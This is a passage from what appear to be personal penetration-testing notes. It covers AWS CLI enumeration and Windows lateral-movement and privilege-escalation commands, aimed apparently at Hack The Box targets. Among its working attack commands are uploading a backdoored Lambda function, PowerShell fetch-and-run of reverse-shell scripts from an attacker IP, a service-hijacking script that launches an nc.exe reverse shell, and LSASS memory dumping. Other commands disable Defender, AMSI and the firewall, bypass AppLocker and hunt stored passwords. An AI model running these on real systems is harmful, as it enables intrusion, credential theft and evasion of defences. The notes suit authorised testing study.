ecs list-container-instances --cluster ## ------------------| Lists all EKS Clusters aws eks list-clusters ## ------------------| Describe the information about a specified cluster aws eks describe-cluster --name ## ------------------| List of all node groups in a specified cluster aws eks list-nodegroups --cluster-name ## ------------------| Describe the information about a specific node group in a cluster aws eks describe-nodegroup --cluster-name --nodegroup-name ## ------------------| List of all fargate in a specified cluster aws eks list-fargate-profiles --cluster-name ## ------------------| Describe the information about a specific fargate profile in a cluster aws eks describe-fargate-profile --cluster-name --fargate-profile-name [](#id-07.-rds-relational-database-service) 07\. RDS (Relational Database Service) --------------------------------------------------------------------------------------- Copy ## ------------------| Describes the Information about the clusters in RDS aws rds describe-db-clusters ## ------------------| Describes the Information about the database instances in RDS aws rds describe-db-instances ## ------------------| Describes the Information about the subnet groups in RDS aws rds describe-db-subnet-groups ## ------------------| Describes the Information about the database security groups in RDS aws rds describe-db-security-groups ## ------------------| Describes the Information about the database proxies in RDS aws rds describe-db-proxies [](#id-08.-kms-key-management-server) 08\. KMS (Key Management Server) --------------------------------------------------------------------------- Copy ## ------------------| Lists of the all keys available in key management server (KMS) aws kms list-keys ## ------------------| Describes about specified key aws kms describe-key --key-id ## ------------------| Lists of policies attached to specified key aws kms list-key-policies --key-id ## ------------------| Get full information about a policy aws kms get-key-policy --policy-name --key-id [](#id-09.-lambda) 09\. Lambda ----------------------------------- * Functions Copy ## ------------------| List all functions aws lambda list-functions --endpoint-url=http://cloud.epsilon.htb ## ------------------| Get code aws lambda get-function --function-name= --endpoint-url=http://cloud.epsilon.htb ## ------------------| Upload the backdoor updated code to aws lambda function aws lambda update-function-code --function-name --zip-file file://backdoor.zip ## ------------------| Get details for lambda function aws lambda get-function --function-name ## ------------------| Get details for the policy Information about the specified lambda function aws lambda get-policy --function-name ## ------------------| Get details for the event source mapping Information about the specified lambda function aws lambda list-event-source-mappings --function-name ## ------------------| List of all the layers (dependencies) in aws account aws lambda list-layers ## ------------------| Get details for the full Information about the specified layer name aws lambda get-layer-version --layer-name --version-number ## ------------------| Create a lambda function and attach role to this function aws lambda create-function --function-name --runtime --zip-file fileb://file.zip --handler --role --region ## ------------------| Invoke the lambda function aws lambda invoke --function-name response.json --region * API Gateway Copy ## ------------------| List of all the Rest APIs aws apigateway get-rest-apis ## ------------------| Get the information about specified API aws apigateway get-rest-api --rest-api-id ## ------------------| Lists information about a collection of resources aws apigateway get-resources --rest-api-id ## ------------------| Get information about the specified resource aws apigateway get-resource --rest-api-id --resource-id ## ------------------| Get the method information for the specified resource aws apigateway get-method --rest-api-id --resource-id --http-method ## ------------------| List of all stages for a REST API aws apigateway get-stages --rest-api-id ## ------------------| Get the information about specified API's stage aws apigateway get-stage --rest-api-id --stage-name ## ------------------| List of all the API keys aws apigateway get-api-keys --include-values ## ------------------| Get the information about a specified API key aws apigateway get-api-key --api-key [](#id-10.-dynamodb) 10\. DynamoDB --------------------------------------- Copy ## ------------------| List Tables aws --endpoint-url http://s3.bucket.htb dynamodb list-tables ## ------------------| Get stuff on the table aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name | jq . ## ------------------| Put stuff on the table aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name --item file://.json ## ------------------| Create table aws --endpoint-url http://s3.bucket.htb dynamodb create-table \ 255 ⨯ --table-name alerts \ --attribute-definitions AttributeName=title,AttributeType=S \ --key-schema AttributeName=title,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 [](#id-11.-secret-manager) 11\. Secret Manager --------------------------------------------------- Copy ## ------------------| Lists of the all secrets that are stored by Secrets Manager aws secretsmanager list-secrets ## ------------------| Describes about specified secret aws secretsmanager describe-secret --secret-id ## ------------------| Get the resource-based policy that is attached to the specified Secret aws secretsmanager get-resource-policy --secret-id [](#id-12.-pacu) 12\. [pacu](https://github.com/RhinoSecurityLabs/pacu) ----------------------------------------------------------------------------- * Cross Account Enumerations Copy ## ------------------| User Enumerations ### Create assume-role.json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "AWS": "*"\ },\ "Action": "sts:AssumeRole",\ "Condition": {}\ }\ ] } ### Create the role aws iam create-role -role-name AnyName --assume-role-policy-document file:///$(pwd)/assume-role.json ### Start pacu and set the keys run iam__enum_users --role-name AnyName --account-id run iam__enum_users --role-name AnyName --account-id --word-list username.txt ## ------------------| Role Enumerations run iam__enum_roles --role-name AnyName --account-id run iam__enum_roles --role-name AnyName --account-id --word-list username.txt [](#id-13.-scoutsuite) 13\. [ScoutSuite](https://github.com/nccgroup/ScoutSuite) -------------------------------------------------------------------------------------- Copy ## ------------------| Install git clone https://github.com/nccgroup/ScoutSuite && cd ScoutSuite virtualenv -p python3 venv && source venv/bin/activate pip install -r requirements.txt python scout.py --help ## ------------------| Enumerate python scout.py aws -p -r [](#id-14.-pmapper) 14\. [PMapper](https://github.com/nccgroup/PMapper) ----------------------------------------------------------------------------- Copy ## ------------------| Install pip install principalmapper ## ------------------| Create a graph for the account, accessed through AWS CLI profile "skywalker" pmapper --profile skywalker graph create ## ------------------| Run a query to see who can make IAM Users pmapper --profile skywalker query 'who can do iam:CreateUser' ## ------------------| Run a query to see who can launch a big expensive EC2 instance, aside from "admin" users pmapper --account 000000000000 argquery -s --action 'ec2:RunInstances' --condition 'ec2:InstanceType=c6gd.16xlarge' ## ------------------| Run the privilege escalation preset query, skip reporting current "admin" users pmapper --account 000000000000 query -s 'preset privesc *' ## ------------------| Create an SVG representation of the admins/privescs/inter-principal access pmapper --account 000000000000 visualize --filetype svg Last updated 9 months ago Was this helpful? ⛅ ![Page cover image](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FVfcX08xLtflLSYMM5NNy%252FAWS.jpg%3Falt%3Dmedia%26token%3D8777a330-51b3-43f5-9ca6-80a58e9a09fb&width=1248&dpr=4&quality=100&sign=8dd58d1f&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fcontent.gitbook.com%2Fcontent%2FnExgHyf5c0iANwFPNNH2%2Fblobs%2FStMYl78Zd00o3FjwK6T7%2Fimage.png&width=300&dpr=4&quality=100&sign=90af1e73&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fcontent.gitbook.com%2Fcontent%2FnExgHyf5c0iANwFPNNH2%2Fblobs%2FuwFPY2DyFA3LXNBV29R6%2Fimage.png&width=768&dpr=4&quality=100&sign=ba3a866d&sv=2) --- # Lateral Movement | h4rithd.com | Notes * * * [](#id-01.-common-commands) 01\. Common commands ----------------------------------------------------- ### [](#id-01.1-os-enumerations) 01.1 OS Enumerations Copy ## ------------------| Get Basic details systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" whoami /all [System.Environment]::OSVersion.Version Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsHardwareAbstractionLayerVersion (Get-ItemProperty "HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion").ReleaseId ## ------------------| Get environment paths ##[Powershell] Get-ChildItem Env: | ft Key,Value dir env: ## ------------------| Get .Net Version (cmd/ps) reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP" ## ------------------| Get System Architecher 32 or 64 ##[Powershell] $env:PROCESSOR_ARCHITECTURE [Environment]::Is64BitProcess [Environment]::Is64BitOperatingSystem ##[cmd] set processor ## ------------------| Extract os patchs and updates wmic qfe ## ------------------| List all installed software with patches ( wmic product get name, version, vendor ## ------------------| List all disk mountvol wmic logicaldisk get caption,description,providername ## ------------------| List firewall state and current configuration netsh advfirewall firewall dump netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all ### [](#id-01.2-user-enumerations) 01.2 User Enumerations Copy ## ------------------| Get current username echo %USERNAME% || whoami $env:username ## ------------------| List user info net user ## ------------------| Get userprofile (home) directory write-host $env:USERPROFILE ## ------------------| List user privilege whoami /priv whoami /groups ## ------------------| List all users net user whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name ## ------------------| List logon requirements net accounts ## ------------------| List all local groups net localgroup Get-LocalGroup | ft Name ## ------------------| Get details about a group net localgroup administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource ## ------------------| Get Domain Controllers nltest /DCLIST:DomainName nltest /DCNAME:DomainName nltest /DSGETDC:DomainName ## ------------------| Get Domain Users net view /domain net view /domain:DomainName * Create user Copy ## ------------------| Add h4rithd as admin user + psexec wget https://gist.githubusercontent.com/h4rithd/90379a35fd6d9950d2de6e62f38ebff8/raw/48df3adf04a819842cccd1ef34e7e927074e7e89/CrazyUser.c ## 64-bit: x86_64-w64-mingw32-gcc CrazyUser.c -o CrazyUser.exe -lnetapi32 ## 32-bit: i686-w64-mingw32-gcc CrazyUser.c -o CrazyUser.exe -lnetapi32 ## ------------------| Local account ## Crearte local user net user /add harith Password@123 ## Add to the admin group net localgroup administrators harith /add ## Add to the Remote Desktop Users net localgroup "Remote Desktop Users" harith /add ## ------------------| Domain account ## This commands can be used only on a Windows Domain Controller net user h4rithd Passw0rD$ /add /domain # Check members on net group "Exchange Windows Permissions" # Add members to net group "Exchange Windows Permissions" /add h4rithd * Login as another user Copy ## ------------------| If you have RDP runAs /user:h4rithd cmd.exe powershell.exe Start-Process cmd.exe -Verb runAs /user:h4rithd ## ------------------| Using RunasCs #### Using RunasCs.exe ## .Net v2.0 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v2.0/RunasCs.exe ## .Net v4.0 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v4.0/RunasCs.exe RunasCs.exe "cmd /c whoami" RunasCs.exe cmd -r :4545 #### Using powershell scipt wget https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1 IEX (New-Object Net.WebClient).DownloadString('http:///Invoke-RunasCs.ps1') Invoke-RunasCs "cmd /c whoami" Invoke-RunasCs -Username user1 -Password password1 -Command cmd.exe -Remote :4545 ## ------------------| Create Creds Object $env:ComputerName $user = "ComputerName\USERNAME" # It's better to use with $user = "\" $pass = "PASSWORD" $secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force $Creds = New-Object System.Management.Automation.PSCredential($user,$secStringPass) ## OR ----------------------------------------------------------------------------------------------------- $pass = convertto-securestring -AsPlainText -Force -String "PASSWORD" $Creds = New-Object -TypeName System.Management.Automation.PSCredential - ArgumentList "ComputerName\USERNAME",$pass ## ------------------| Use the Creds Object for activities ### Get Hostname using hostname command Invoke-Command -Credential $Creds -ComputerName -ScriptBlock { whoami } Enter-PSSession -Credential $Creds -ComputerName Start-Process -Credential $Creds -FilePath Powershell -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.22/rev.ps1')" ## Double hop access (Authentication CredSSP) Invoke-Command -ComputerName helpline -Authentication CredSSP -credential $cred -ScriptBlock { whoami } * Change password Copy $pass = ConvertTo-SecureString 'Pas$word!' -asPlainText -Force Set-DomainUserPassword Herman -AccountPassword $pass -Verbose * Stored Credentials | Saved Creds Copy cmdkey /list runas /savecred /user: C:\\shell.exe ### [](#id-01.3-network-enumeration) 01.3 Network Enumeration Copy ## ------------------| List all listening ports netstat -ano | findstr /i listen netstat -anop tcp ## ------------------| List all network interfaces, IP, and DNS. ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ## ------------------| List current routing table route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ## ------------------| List the ARP table arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ## ------------------| List all network shares net share powershell Find-DomainShare -ComputerDomain domain.local ## ------------------| SNMP Configuration reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse * Turn on RDP Copy ## ------------------| Enable the RDP Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 ## ------------------| Enable authentication via RDP Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1 ## ------------------| Enable RDP through the Windows Firewall Enable-NetFirewallRule -DisplayGroup "Remote Desktop" ## ------------------| Using MSF use post/windows/manage/enable_rdp set Username h4rithd set Password Password123! set SESSION 1 info run ## ------------------| Login to the RDP rdesktop -g 1920x1080 * Ping sweeper Copy ## ------------------| Genaral 1..255 | % {echo "192.168.1.$_"; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl ## ------------------| Parallel ping sweeper workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl ## ------------------| Multi-subnet ping sweeper with OS Detection 0..10 | % { $a = $_; 1..255 | % { $b = $_; ping -n 1 -w 10 "10.0.$a.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "10.0.$a.$b OS: $os"; echo "10.0.$a.$b" >> scan_results.txt }}} } * Export DNS Zones Copy Get-DNSServerZone Export-DnsServerZone -Name localnet.domain -FileName dns-export.txt ## File was exported to C:\Windows\system32\dns\dns-export.txt * Responder \[[Inveigh](https://github.com/Kevin-Robertson/Inveigh)\ \] Copy wget https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1 IEX (New-Object Net.WebClient).DownloadString('http:///Inveigh.ps1') Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y -LogOutput Y -FileOutput Y ### [](#id-01.4-process-service-enumeration) 01.4 Process / Service Enumeration Copy ## ------------------| List all Process Get-Process -name firefox tasklist /v | findstr smss ps | findstr smss ## ------------------| List all services Get-Service sc query state=all get-wmiobject win32_service ## If all above commands are failed; try following Set-Location 'HKLM:\SYSTEM\CurrentControlSet\Services' Get-ChildItem . | select name Get-ChildItem . | where-object { $_.Name -like '*EnterServiceNameHere*' ## ------------------| Processes are running as "system" tasklist /v /fi "username eq system" ## ------------------| Kill process taskkill /f /im:filename.exe ## ------------------| Scheduled Tasks ### List all tasks schtasks /query /fo LIST /v ### Run task schtasks /RUN /RN "\NameHere" ## ------------------| Start Service (Stop,Restart) ## Get Display Name using above methord Stop-Service "Ubiquiti UniFi Video" Start-Service "Ubiquiti UniFi Video" net stop EnterServiceNameHere net start EnterServiceNameHere sc.exe stop EnterServiceNameHere sc.exe start EnterServiceNameHere ## ------------------| Examine basic service properties Get-Service nscp | fl * ## ------------------| List loaded assemblies [appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname ## ------------------| List only running services Get-Service | where {$_.Status -eq "Running"} wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V "''" * Modifiable Services Copy ## ------------------| Modify the UsoSvc service bin path sc.exe config UsoSvc binpath="cmd.exe /c powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==" ## ------------------| Restart the UsoSvc service sc.exe stop UsoSvc sc.exe start UsoSvc * Dump process Copy ## ------------------| Dump Process using rundll32 get-process rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump full ## Dumping Lsass Without Mimikatz] rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\Users\Public\Documents\lsass.dmp ## ------------------| Dump Process using ProcDump ./procdump.exe -accepteula -ma * List installed programs Copy Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ### [](#id-01.5-registry-enumeration) 01.5 Registry Enumeration * Service Registry Enumeration Copy ## ------------------| Check if user has FullControl accesschk.exe "" -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services ## or ----------------------------------------------------------- $acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services; ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl} ## ------------------| Find a serive I can restart $cmd = "C:\inetpub\wwwroot\uploads\nc.exe 10.10.14.187 444 -e powershell.exe"\ # Create a list of services $otp = ./accesschk.exe "Hector" -kvuqsv hklm:\System\CurrentControlSet\Services $services = $otp.Split([Environment]::NewLine) # Lopp through each service foreach($service in $services) { # If the current line is not a service, skip it if(!$service.StartsWith("RW HKLM")) { continue } # Validate that the line is indeed a service $name = $service.Split("\\")[-1].Split([Environment]::NewLine)[0] $s = Get-Service -Name $name -ErrorAction SilentlyContinue if(!$s) { continue } echo $service $serv = $service.Split(" ")[-1].Split([Environment]::NewLine)[0] echo $serv # Attempt to exploit the service: # 1. Change the service's binary path to $cmd # 2. Restart the service if($s.Status -eq 'Running') { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd" /f >a.txt if((Get-Service -Name $name).Status -eq 'Running') { Get-Service -Name $name | Stop-Service -ErrorAction SilentlyContinue Write-Host "[STOP] "$name } } elseif ($s.Status -eq 'Stopped') { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd" /f >a.txt if((Get-Service -Name $name).Status -eq 'Stopped') { Get-Service -Name $name | Start-Service -ErrorAction SilentlyContinue Write-Host "[START] "$name } } } ### [](#id-01.6-file-enumeration) 01.6 File Enumeration Copy ## ------------------| List all file include hidden ones dir -force dir /b/s C:\ flag.txt where /R C:\ flag.txt gci -r . user.txt gci -recurse | select FullName gci -recurse C:\Users\ user.txt Get-ChildItem -Path C:\Users -Recurse -Include root.txt,user.txt | select Fullname ## ------------------| List 8.3 filename generation (~) cmd /c dir /X ## ------------------| Get file stream data cmd /c dir /r Get-Item -Stream * Get-Content -Stream ## ------------------| List all files only has extention gci -recurse -include *.* | select FullName ## ------------------| Replace some word (sed) ((cat ..\path\to\file.txt -Raw) -replace 'foo', 'bar') | sc -path ..\path\to\new\file.txt ## ------------------| List all installed drivers / version driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start mode', Path Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"} * Advance search Copy ## ------------------| Search for file contents cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ## ------------------| Search for a file with a certain filename dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ## ------------------| Search for strings inside files IWR -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Find-Strings.ps1" -OutFile "Find-Strings.ps1" .\Find-Strings.ps1 -stopAt "5" .\Find-strings.ps1 -Path "$Env:TMP" -String "pass=|passwd=|password=" .\Find-strings.ps1 -Path "$Env:USERPROFILE" -String "[^$]password=" ## ------------------| Find GPP Passwords in SYSVOL dir "C:\ProgramData\Microsoft\Group Policy\History\" findstr /S cpassword $env:logonserver\sysvol\*.xml findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe) findstr /S /I cpassword \\\sysvol\\policies\*.xml ## ------------------| Search Windows Autologin REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64 REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr "DefaultUserName DefaultDomainName DefaultPassword" REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" ## ------------------| Search the registry for key names and passwords REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K ## ------------------| Search SNMP parameters REG QUERY "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" ## ------------------| Search Putty clear text proxy credentials REG QUERY "HKCU\Software\SimonTatham\PuTTY\Sessions" ## ------------------| Search VNC credentials REG QUERY "HKCU\Software\ORL\WinVNC3\Password" REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password REG QUERY HKLM /f password /t REG_SZ /s REG QUERY HKCU /f password /t REG_SZ /s ## ------------------| Search Insecure File Permissions (check World Writeble) ### Tool : https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk accesschk.exe /accepteula -uwcqv "Authenticated Users" * accesschk.exe /accepteula -uws "Everyone" "C:\Program Files" ## ------------------| Backup Sticky Notes ### Win 10 New (Version 1607) cd C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState ### Win 10/7/8 (Version 1511) cd C:\Users\\AppData\Roaming\Microsoft\Sticky Notes ## copy all plum.* files; then use sqlite to extrack * Weak Permission Copy ## ------------------| File\Folder icacls "C:\Program Files (x86)\*" 2>null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%" icacls "C:\Program Files\*" 2>null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%" ## ------------------| Service wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """" Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'} | findstr "Program" icacls "C:\Program Files (x86)\*" 2>null | findstr "BUILTIN\Users:(I)(F)" icacls "C:\Program Files\*" 2>null | findstr "BUILTIN\Users:(I)(F)" * Set / Check permissions Copy ## ------------------| Check Get-ACL folder-or-file-name | FL * Get-ACL root.txt | FL AccessToString ## ------------------| Set Full-Control cacls root.txt /t /e /p UserName:F ## ------------------| Remove user from ACL cacls root.txt /e /r UserName #---------------- cacls Commands Help # /e Edit an ACL instead of replacing it. # /t Changes ACLs of specified files in the current directory and all subdirectories. # /p user: Replace specified user's access rights, including these valid values for permission: # |-> n - None # |-> r - Read # |-> w - Write # |-> c - Change (write) # |-> f - Full control ## ------------------| Search Insecure File Permissions (check World Writeble) Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} * Enumerate Shortcut (`.lnk`) Copy $Wscript = New-Object -ComObject Wscript.Shell $shortcut = Get-ChildItem *.lnk $Wscript.CreateShortcut($shortcut) * Compress & Extract zip file Copy ## ------------------| Compress Compress-Archive -LiteralPath -DestinationPath .zip ## ------------------| Extract / Unzip Expand-Archive -LiteralPath .zip -DestinationPath ### [](#id-01.7-firewall-defender) 01.7 Firewall / Defender #### [](#id-01.7.1-firewall) 01.7.1 Firewall Copy ## ------------------| List firewall state and current configuration netsh advfirewall firewall dump netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all ## ------------------| List firewall rules Get-NetFirewallPortFilter Get-NetFirewallRule Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow ## ------------------| Add firewall rule to open 3306 port netsh advfirewall firewall add rule name"forward_port_rule" protocol=TCP dir=in localip= localport 3306 action=alow ## ------------------| Disable Firewall on Windows 7 via cmd REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f ## ------------------| Disable Firewall on Windows 7 via Powershell powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'` ## ------------------| Disable Firewall on any windows via cmd netsh firewall set opmode disable netsh Advfirewall set allprofiles state off ## ------------------| Enable (psexec) access to $ADMIN C$, IP$ (Windows Administrative Shares) REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f ## ------------------| List firewall's blocked ports powershell -c "$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports;$f" powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}}, @{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}}, @{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}, Enabled, Profile, Direction, Action" #### [](#id-01.7.2-antivirus-and-detections-or-disable-defender) 01.7.2 Antivirus & Detections | Disable Defender Copy ## ------------------| Check Defender Status Get-MpComputerStatus ## ------------------| Check Defender Exclusions List Get-MpPreference | Select-Object -Property ExclusionPath -ExpandProperty ExclusionPath Get-MpPreference | Select-Object -Property ExclusionPath | Format-Table -AutoSize ## ------------------| Disable Defender cd "C:\Progra~1\Windows Defender" .\mpcmdrun.exe -RemoveDefinitions -All ## ------------------| Disable scanning all downloaded files and attachments, disable AMSI (reactive) Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus Set-MpPreference -DisableIOAVProtection $true ## ------------------| Disable AMSI (set to 0 to enable) Set-MpPreference -DisableScriptScanning 1 ## ------------------| Exclude a Folder, Extension or Process Add-MpPreference -ExclusionPath "C:\Windows\Temp" -Force Add-MpPreference -ExclusionPath "C:\Windows\Tasks" -Force Add-MpPreference -ExclusionPath "C:\Windows\Temp\h4rithd" -Force Set-MpPreference -ExclusionProcess "mimikatz.exe", "winPEAS.exe" -Force Add-MpPreference -ExclusionExtension "exe" -Force ## ------------------| Remove signatures (if Internet connection is present, they will be downloaded again): "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All ### [](#id-01.8-default-locations) 01.8 Default Locations Copy ## ------------------| Powershell Default locations [x86] C:\windows\syswow64\windowspowershell\v1.0\powershell.exe [x64] C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [x64] C:\windows\sysnative\windowspowershell\v1.0\powershell.exe ## ------------------| Default Writeable Folders C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\Windows\tracing C:\Windows\Temp C:\Users\Public ## ------------------| Passwords in unattend.xml C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml ## ------------------| Sticky Notes passwords C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ## ------------------| Powershell History type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw * World writable directories (for AnyUsers) Copy C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\system32\spool\drivers\color C:\Users\PublicPort Forward C:\Users\Public\Documents C:\Windows\tracing C:\Windows\Tasks C:\Windows\Temp C:\programdata ### [](#id-01.9-policy-bypassing) 01.9 Policy Bypassing * PowerShell **Execution Policy** [Bypass](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) Copy ## ------------------| Check/Set Execution Policy Status Set-ExecutionPolicy RemoteSigned # To set the policy to RemoteSigned. Set-ExecutionPolicy Unrestricted # To set the policy to Unrestricted. Get-ExecutionPolicy # To verify the current settings for the execution policy. Get-ExecutionPolicy -List | Format-Table -AutoSize ## ------------------| How to bypass ## 0) If you have evil-winrm access; copy rev.ps1 file to current directory. then evil-winrm -i -u -p -s $(pwd) rev.ps1 menu ## 1) Copy & Paste the Script into an Interactive PowerShell Console ## 2) Read Script from a File and Pipe to PowerShell Standard In Get-Content rev.ps1 | PowerShell.exe -noprofile - type rev.ps1 | PowerShell.exe -noprofile - ## 3) Download Script from URL and Execute with Invoke Expression powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http:///rev.ps1')" ## 3) Use the “Bypass” Execution Policy Flag PowerShell.exe -ExecutionPolicy Bypass -File .\rev.ps1 * Bypass the App Locker Group Policy Copy ## ------------------| Check App locker status Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ## ------------------| Bypass | Move file to following paths C:\Windows\Temp C:\Windows\Tasks C:\windows\tracing C:\Windows\System32\FxsTmp C:\Windows\System32\com\dmp C:\Windows\SysWOW64\FxsTmp C:\Windows\SysWOW64\com\dmp C:\Windows\Registration\CRMLog C:\Windows\System32\spool\SERVERS C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\drivers\color C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System C:\Windows\System32\Tasks_Migrated # after peforming a version upgrade of Windows 10 ## ------------------| Bypass using Powerview cp /opt/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1 . 